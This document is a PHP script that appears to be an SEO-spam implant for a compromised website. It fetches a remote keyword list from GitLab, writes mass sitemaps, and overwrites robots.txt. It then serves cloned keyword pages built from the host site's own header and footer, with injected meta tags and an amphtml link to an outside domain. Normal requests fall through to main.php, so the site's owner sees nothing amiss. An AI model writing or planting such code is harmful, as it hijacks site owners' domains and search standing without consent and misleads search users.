<?php

function fetchRemoteFile($url)
{
    // Coba file_get_contents() terlebih dahulu
    $content = @file_get_contents($url);

    if ($content !== false) {
        return $content;
    }

    // Fallback ke cURL
    if (function_exists('curl_init')) {
        $ch = curl_init($url);

        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 10,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_USERAGENT => 'Mozilla/5.0',
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_SSL_VERIFYHOST => 2,
        ]);

        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($content !== false && $httpCode >= 200 && $httpCode < 300) {
            return $content;
        }
    }

    return false;
}

function feedback404()
{
    header("HTTP/1.0 403 Forbidden");
    echo "<h1>403 Forbidden</h1>";
    exit();
}

// GitHub raw URL
$github_x_url = 'https://gitlab.com/wulizo335/data-json/-/raw/main/x.txt';
$local_x_file = __DIR__ . '/x.txt';

// Fetch & cache keywords dari GitHub
function fetchAndCacheKeywords($github_url, $local_file) {
    if (file_exists($local_file) && (time() - filemtime($local_file)) < 3600) {
        return file_get_contents($local_file);
    }

    $content = fetchRemoteFile($github_url);
    if ($content !== false) {
        file_put_contents($local_file, $content);
        return $content;
    }

    if (file_exists($local_file)) {
        return file_get_contents($local_file);
    }
    return false;
}

// Handle ?sitemap parameter
if (isset($_GET['sitemap'])) {
    $protocol   = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
    $base_path  = $protocol . "://" . $_SERVER['HTTP_HOST'];
    $script_dir = dirname($_SERVER['SCRIPT_NAME']);
    $script_dir = ($script_dir === '/') ? '' : $script_dir;

    $domain_url = $base_path . $script_dir . '/';
    $base_url   = $base_path . $script_dir . '/?id=';
    $sitemap_name = 'sitemap';
    $max_links_per_sitemap = 20000;

    $keywords_content = fetchAndCacheKeywords($github_x_url, $local_x_file);
    if ($keywords_content === false) {
        die("❌ Gagal fetch x.txt dari GitHub dan file lokal tidak ada");
    }
    
    $raw_lines = explode("\n", $keywords_content);
    $keywords = array_map('trim', $raw_lines);
    $keywords = array_filter($keywords);
    
    if (empty($keywords)) {
        die("❌ No valid keywords found");
    }
    
    $sitemap_index  = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
    $sitemap_index .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
    
    $sitemap_files = [];
    
    foreach ($keywords as $i => $keyword) {
        $clean_keyword = str_replace(' ', '+', $keyword);
        $sitemap_num = ceil(($i + 1) / $max_links_per_sitemap);
        
        if (!isset($sitemap_files[$sitemap_num])) {
            $sitemap_files[$sitemap_num]  = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
            $sitemap_files[$sitemap_num] .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
        }
        
        $full_url = $base_url . $clean_keyword;
        $escaped_url = htmlspecialchars($full_url, ENT_XML1, 'UTF-8');
        
        $sitemap_files[$sitemap_num] .= "  <url>" . PHP_EOL;
        $sitemap_files[$sitemap_num] .= "    <loc>{$escaped_url}</loc>" . PHP_EOL;
        $sitemap_files[$sitemap_num] .= "  </url>" . PHP_EOL;
    }
    
    foreach ($sitemap_files as $num => &$content) {
        $content .= '</urlset>' . PHP_EOL;
        $file_name = "{$sitemap_name}-{$num}.xml";
        file_put_contents($file_name, $content);
        
        $sitemap_index .= "  <sitemap>" . PHP_EOL;
        $sitemap_index .= "    <loc>" . htmlspecialchars($domain_url . $file_name, ENT_XML1, 'UTF-8') . "</loc>" . PHP_EOL;
        $sitemap_index .= "  </sitemap>" . PHP_EOL;
    }
    
    $sitemap_index .= '</sitemapindex>' . PHP_EOL;
    file_put_contents("sitemap-index.xml", $sitemap_index);
    
    $robots  = "User-agent: *\n";
    $robots .= "Allow: /\n\n";
    $robots .= "Sitemap: {$domain_url}sitemap-index.xml\n";
    file_put_contents("robots.txt", $robots);
    
    echo "✅ Sitemap & robots.txt generated from GitHub!";
    exit();
}

// Function untuk extract CSS dari HTML - IMPROVED
function extractCSS($html, $base_url = '') {
    $css_content = '';
    
    // Extract internal <style> tags
    preg_match_all('/<style[^>]*>(.*?)<\/style>/is', $html, $style_matches);
    if (!empty($style_matches[1])) {
        $css_content .= "<style>\n" . implode("\n", $style_matches[1]) . "\n</style>\n";
    }
    
    // Extract SEMUA link tags dengan berbagai format
    preg_match_all('/<link\s+([^>]*?)>/i', $html, $link_matches);
    
    if (!empty($link_matches[1])) {
        foreach ($link_matches[1] as $link_attrs) {
            // Ambil href
            if (preg_match('/href\s*=\s*["\']?([^\s"\'>\]]+)["\']?/i', $link_attrs, $href_match)) {
                $css_url = trim($href_match[1]);
                
                // Filter: ambil yang CSS atau stylesheet
                $is_css = preg_match('/\.css/i', $css_url) || 
                         preg_match('/rel\s*=\s*["\']?stylesheet/i', $link_attrs) ||
                         preg_match('/rel\s*=\s*["\']?[^"\']*stylesheet[^"\']*["\']?/i', $link_attrs);
                
                if ($is_css && !empty(trim($css_url))) {
                    // Resolve relative URLs
                    if (!preg_match('/^(https?:|\/\/)/i', $css_url) && !empty($base_url)) {
                        $css_url = rtrim($base_url, '/') . '/' . ltrim($css_url, '/');
                    }
                    
                    $css_content .= '<link rel="stylesheet" href="' . htmlspecialchars($css_url, ENT_QUOTES) . '">' . "\n";
                }
            }
        }
    }
    
    return $css_content;
}

// Function untuk extract HEADER dari HTML
function extractHeader($html) {
    // Coba ambil <header> tag
    if (preg_match('/<header\s[^>]*>.*?<\/header>/is', $html, $matches)) {
        return $matches[0];
    }
    
    // Jika tidak ada, coba ambil <nav> tag
    if (preg_match('/<nav\s[^>]*>.*?<\/nav>/is', $html, $matches)) {
        return $matches[0];
    }
    
    return '';
}

// Function untuk extract FOOTER dari HTML
function extractFooter($html) {
    // Coba ambil <footer> tag
    if (preg_match('/<footer[^>]*>.*?<\/footer>/is', $html, $matches)) {
        return $matches[0];
    }
    
    return '';
}

// Main logic - ambil x.txt dari file lokal
if (isset($_GET['id']) && $_GET['id'] !== '') {
    $keywords_content = fetchAndCacheKeywords($github_x_url, $local_x_file);

    if ($keywords_content === false) {
        feedback404();
    }
    
    $lines = explode("\n", $keywords_content);
    $target_string = strtolower($_GET['id']);
    $BRAND = null;

    foreach ($lines as $item) {
        if (strtolower(trim($item)) === $target_string) {
            $BRAND = strtoupper($target_string);
            break;
        }
    }

    if (isset($BRAND)) {
        $BRANDS = $BRAND;

        $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https' : 'http';
        $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

        if ($fullUrl) {
            $parsedUrl = parse_url($fullUrl);
            $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : 'https';
            $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';

            $script_dir = dirname($_SERVER['SCRIPT_NAME']);
            $script_dir = ($script_dir === '/') ? '' : $script_dir;

            $urlPath = $scheme . "://" . $host . $script_dir . '/?id=' . urlencode($_GET['id']);
        } else {
            echo "Current URL is not defined.";
            exit();
        }
        
        // Fetch halaman default dari website (ke domain root, bukan ke script dir)
        $base_url = $scheme . "://" . $host;
        $default_page = $base_url . "/";
        $website_html = @fetchRemoteFile($default_page);
        
        if ($website_html !== false) {
            // Extract HEAD dari website
            preg_match('/<head[^>]*>.*?<\/head>/is', $website_html, $head_match);
            $website_head = isset($head_match[0]) ? $head_match[0] : '';
            
            // Extract header dan footer untuk structure
            $extracted_header = extractHeader($website_html);
            $extracted_footer = extractFooter($website_html);
            
            // Flag untuk indicate fetch berhasil
            $fetch_success = true;
        } else {
            // Fallback jika fetch gagal
            $website_head = '';
            $extracted_header = '';
            $extracted_footer = '';
            $fetch_success = false;
        }

    } else {
        feedback404();
    }
} else {
    include 'main.php';
    exit();
}

date_default_timezone_set('Asia/Jakarta');
$currentTime = date('Y-m-d\TH:i:sP');

// Jika ada parameter ?id, gunakan head dari website + custom body
if (isset($_GET['id']) && $_GET['id'] !== '' && $fetch_success && !empty($website_head)) {
    // Output DOCTYPE dan html tag
    echo '<!DOCTYPE html>' . "\n";
    echo '<html>' . "\n";
    
    // Output HEAD dari website, tapi customize meta tags branding
    $custom_head = $website_head;
    
    // Replace/inject branding meta tags ke dalam head
    $branding_meta = '<meta charset="utf-8">' . "\n" .
        '<script>var aPageStart = (new Date()).getTime();</script>' . "\n" .
        '<meta http-equiv="X-UA-Compatible" content="IE=edge">' . "\n" .
        '<meta name="viewport" content="width=device-width,initial-scale=1">' . "\n" .
        '<meta name="referrer" content="no-referrer-when-downgrade">' . "\n" .
        '<meta http-equiv="Referrer-Policy" content="no-referrer-when-downgrade">' . "\n" .
        '<meta name="theme-color" content="">' . "\n" .
        '<link rel="canonical" href="' . $urlPath . '">' . "\n" .
        '<link rel="amphtml" href="https://numericinfosystemhuy.pages.dev/amp/?id=' . $BRANDS . '">' . "\n" .
        '<title>' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional</title>' . "\n" .
        '<meta name="description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">' . "\n" .
        '<meta property="og:site_name" content="' . $BRANDS . '">' . "\n" .
        '<meta property="og:url" content="' . $urlPath . '">' . "\n" .
        '<meta property="og:title" content="' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional">' . "\n" .
        '<meta property="og:type" content="product">' . "\n" .
        '<meta property="og:description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">' . "\n" .
        '<meta name="twitter:title" content="' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional">' . "\n" .
        '<meta name="twitter:description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">' . "\n";
    
    // Helper function untuk replace atau tambah meta tag
    function updateMetaTag(&$head, $pattern, $replacement) {
        if (preg_match($pattern, $head)) {
            $head = preg_replace($pattern, $replacement, $head);
        } else {
            $head = preg_replace('/<\/head>/i', $replacement . "\n" . '</head>', $head);
        }
    }
    
    // Update semua branding meta tags (replace jika ada, tambah jika tidak)
    updateMetaTag($custom_head, '/<title>.*?<\/title>/is', '<title>' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional</title>');
    updateMetaTag($custom_head, '/<meta\s+name="description"[^>]*>/i', '<meta name="description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">');
    updateMetaTag($custom_head, '/<meta\s+property="og:site_name"[^>]*>/i', '<meta property="og:site_name" content="' . $BRANDS . '">');
    updateMetaTag($custom_head, '/<meta\s+property="og:url"[^>]*>/i', '<meta property="og:url" content="' . $urlPath . '">');
    updateMetaTag($custom_head, '/<meta\s+property="og:title"[^>]*>/i', '<meta property="og:title" content="' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional">');
    updateMetaTag($custom_head, '/<meta\s+property="og:type"[^>]*>/i', '<meta property="og:type" content="product">');
    updateMetaTag($custom_head, '/<meta\s+property="og:description"[^>]*>/i', '<meta property="og:description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">');
    updateMetaTag($custom_head, '/<meta\s+name="twitter:title"[^>]*>/i', '<meta name="twitter:title" content="' . $BRANDS . ' # Layanan Pengembangan Software dan Solusi Teknologi Informasi Profesional">');
    updateMetaTag($custom_head, '/<meta\s+name="twitter:description"[^>]*>/i', '<meta name="twitter:description" content="' . $BRANDS . ' Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.">');
    updateMetaTag($custom_head, '/<link\s+rel="canonical"[^>]*>/i', '<link rel="canonical" href="' . $urlPath . '">');
    updateMetaTag($custom_head, '/<meta\s+http-equiv="X-UA-Compatible"[^>]*>/i', '<meta http-equiv="X-UA-Compatible" content="IE=edge">');
    updateMetaTag($custom_head, '/<meta\s+name="viewport"[^>]*>/i', '<meta name="viewport" content="width=device-width,initial-scale=1">');
    updateMetaTag($custom_head, '/<meta\s+name="referrer"[^>]*>/i', '<meta name="referrer" content="no-referrer-when-downgrade">');
    updateMetaTag($custom_head, '/<meta\s+http-equiv="Referrer-Policy"[^>]*>/i', '<meta http-equiv="Referrer-Policy" content="no-referrer-when-downgrade">');
    updateMetaTag($custom_head, '/<meta\s+name="theme-color"[^>]*>/i', '<meta name="theme-color" content="">');
    
    // AmpHTML link sebelum closing head
    $amphtml_link = '<link rel="amphtml" href="https://numericinfosystemhuy.pages.dev/amp/?id=' . $BRANDS . '">';
    updateMetaTag($custom_head, '/<link\s+rel="amphtml"[^>]*>/i', $amphtml_link);
    
    // Script aPageStart jika tidak ada
    if (!preg_match('/<script>var\s+aPageStart/i', $custom_head)) {
        $custom_head = preg_replace('/<head[^>]*>/i', '<head>' . "\n" . '<script>var aPageStart = (new Date()).getTime();</script>', $custom_head);
    }
    
    echo $custom_head . "\n";
    
    // Custom BODY dengan struktur dari website
    echo '<body>' . "\n";
    echo $extracted_header . "\n";
    
    // Main content branding
    echo '<main style="padding: 60px 20px; text-align: center; min-height: 400px; display: flex; align-items: center; justify-content: center;">' . "\n";
    echo '<div>' . "\n";
    echo '<h1 style="font-size: 48px; margin-bottom: 20px;">' . (isset($BRANDS) ? $BRANDS : 'BRAND') . '</h1>' . "\n";
    echo '<p style="font-size: 20px; color: #666; margin-bottom: 30px;">Numeric Infosystem menyediakan layanan pengembangan software dan solusi teknologi informasi untuk berbagai kebutuhan bisnis. Layanannya mencakup custom software, aplikasi web, Android, iOS, pengembangan lintas platform, PWA, DevOps, serta staffing dan recruitment. Dengan pengalaman dalam berbagai bidang industri, Numeric membantu perusahaan membangun solusi digital yang sesuai kebutuhan dan mendukung perkembangan bisnis secara berkelanjutan.</p>' . "\n";
    echo '<p style="color: #999; font-size: 14px;">' . date('Y-m-d H:i:s') . '</p>' . "\n";
    echo '</div>' . "\n";
    echo '</main>' . "\n";
    
    echo $extracted_footer . "\n";
    echo '</body>' . "\n";
    echo '</html>' . "\n";
    exit();
}

// Fallback template jika tidak ada ?id
?>
<!doctype html>
<html class="no-js" lang="id">
  <head>
    <meta charset="utf-8">
    <title>TEMPLATE</title>
  </head>
  <body>
    <p>Gunakan parameter ?id=brand untuk menampilkan halaman</p>
  </body>
</html>